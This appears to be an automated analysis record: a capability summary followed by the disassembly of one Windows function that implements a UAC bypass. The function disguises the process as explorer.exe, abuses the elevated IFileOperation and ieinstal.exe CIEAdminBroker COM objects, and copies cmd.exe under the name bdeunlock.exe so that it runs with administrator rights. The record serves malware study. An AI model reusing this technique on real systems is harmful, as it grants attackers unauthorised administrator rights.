Function at 0x1400114d3
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
jmp 0x140016a80
push rbp
push rdi
mov eax, 0x1038
call fcn.140011159
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x2d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031018]
xor rax, rbp
mov qword [rbp + 0xfc0], rax
lea rcx, [0x14003710a]
call fcn.1400116e5
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 8], rax
mov dx, 8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._________________________.___________________________________.___________________________n_____________.__._________________________________________________.__._________n__________________________________________________________________________n______________________________________________________________________n_________________________________________________________________________n__________________________________________________________________________________n_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea r9, [rbp + 0x28]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140024e70]
call fcn.1400112ee
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016b68
lea rdx, str.SHGetKnownFolderPath____0__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x140017f8d
lea r9, [rbp + 0x48]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400262b0]
call fcn.1400112ee
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016bd9
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x140017f8d
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x88]
call fcn.140011258
nop
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140011258
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x88]
call fcn.14001139d
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LdrEnumerateLoadedModules
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x88]
call fcn.140011262
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x108]
mov rcx, rax
call fcn.1400114ba
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016d0f
lea rdx, str.CoInitializeEx___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd04], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xd04]
jmp 0x140017f8d
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016dc8
lea rdx, str.CoInitializeSecurity___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0xd24], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xd24]
jmp 0x140017f8d
lea rax, [rbp + 0x188]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x19c], 4
mov dword [rbp + 0x188], 0x30
lea r9, [rbp + 0x148]
lea r8, [0x140029d30]
lea rdx, [rbp + 0x188]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016e8d
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CoGetObject____0__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd44], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xd44]
jmp 0x140017f8d
lea r9, [rbp + 0x168]
lea r8, [0x140021bb0]
lea rdx, [rbp + 0x188]
lea rcx, str.Elevation:Administrator_new:BDB57FF2_79B9_4205_9447_F5FE85F37312
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140016f43
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CoGetObject____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd64], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xd64]
jmp 0x140017f8d
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov edx, 0x10800410
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x28]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017004
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::SetOperationFlags___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xd84], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xd84]
jmp 0x140017f8d
lea rdx, str._bdeunlock.exe
lea rcx, [rbp + 0xc8]
call fcn.14001139d
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
lea r9, [rbp + 0x1d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x18]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x1400170df
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::InitializeAdminInstaller___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xda4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xda4]
jmp 0x140017f8d
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
lea r8, [rbp + 0x1f8]
lea rdx, [0x140021bc0]
mov rcx, qword [rbp + 0x168]
call qword [rax]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x1400171b5
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::QueryInterface___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xdc4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xdc4]
jmp 0x140017f8d
lea rcx, [rbp + 0xc8]
call fcn.140011262
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
lea rcx, [rbp + 0x278]
mov qword [rsp + 0x58], rcx
lea rcx, [rbp + 0x254]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp + 0x238]
mov qword [rsp + 0x48], rcx
lea rcx, [0x1400262e0]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0x218]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x218]
mov r8, 0xffffffffffffffff
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x18]
mov dword [rbp + 0x64], eax
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
cmp dword [rbp + 0x64], 0
jge 0x140017325
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::VerifyFile___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xde4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xde4]
jmp 0x140017f8d
lea rax, [rbp + 0x540]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x19
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x102
lea r9, [rbp + 0x2f0]
mov r8d, 3
lea rdx, [rbp + 0x514]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ucrtbased.dll__wsplitpath_s]
lea r8, str..exe
mov edx, 0x19
lea rcx, [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x514]
mov edx, 0x104
lea rcx, [rbp + 0x540]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x2f0]
mov edx, 0x104
lea rcx, [rbp + 0x540]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor r8d, r8d
lea rdx, str._bdeunlock.exe
lea rcx, [rbp + 0xc8]
call fcn.1400114e2
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0xc8]
call fcn.1400111b3
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb8]
lea rcx, [rbp + 0xc8]
call fcn.1400115be
lea rcx, [rbp + 0xe08]
call fcn.14001163b
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xc8]
call fcn.14001139d
lea rcx, [rbp + 0xc8]
call fcn.140011262
xor r8d, r8d
lea rdx, [rbp + 0x298]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x14001753a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xfb4], eax
lea rdx, str.CopyFileW___failed._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov ecx, dword [rbp + 0xfb4]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0xe44], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xe44]
jmp 0x140017f8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
mov qword [rbp + 0xfb8], rax
lea rcx, [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0xfb8]
lea rax, [rcx + rax + 1]
mov qword [rbp + 0x7c8], rax
mov eax, 2
mul qword [rbp + 0x7c8]
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14001130c
mov qword [rbp + 0xe68], rax
mov rax, qword [rbp + 0xe68]
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
mov ecx, dword [rbp + 0x7c8]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, [0x14002380c]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [rbp + 0x298]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r9, [rbp + 0x7a8]
lea r8, [0x140029910]
xor edx, edx
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0xe88], rax
mov rcx, qword [rbp + 0xe88]
call fcn.14001135c
cmp qword [rbp + 0xe88], 0
jne 0x14001763b
mov qword [rbp + 0xfb8], 0
jmp 0x140017654
mov qword [rbp + 0x7e8], 0x8123
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0xfb8], rax
cmp dword [rbp + 0x64], 0
jge 0x140017734
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [0x140023810]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xea4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xea4]
jmp 0x140017f8d
